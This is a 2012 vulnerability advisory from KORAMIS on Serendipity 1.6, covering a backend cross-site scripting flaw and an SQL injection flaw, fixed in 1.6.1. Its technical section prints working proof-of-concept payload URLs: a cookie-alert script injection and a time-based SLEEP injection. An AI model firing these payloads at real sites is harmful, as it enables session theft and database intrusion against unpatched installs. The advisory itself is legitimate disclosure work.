Advisory: Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability Advisory ID: KORAMIS-ADV2012-001 Contact: security@koramis.de Author: Stefan Schurtz Affected Software: Successfully tested on Serendipity 1.6 Vendor URL: http://www.s9y.org Vendor Status: fixed ========================== Vulnerability Description: ========================== The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability. ================== Technical Details: ================== // XSS http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script> // SQL-Injection http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+ ========= Solution: ========= Upgrade to version 1.6.1 ==================== Disclosure Timeline: ==================== 21-Apr-2012 - informed developers 22-Apr-2012 - feedback from developer 08-May-2012 - fixed in version 1.6.1 ======== Credits: ======== Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team). =========== References: =========== http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html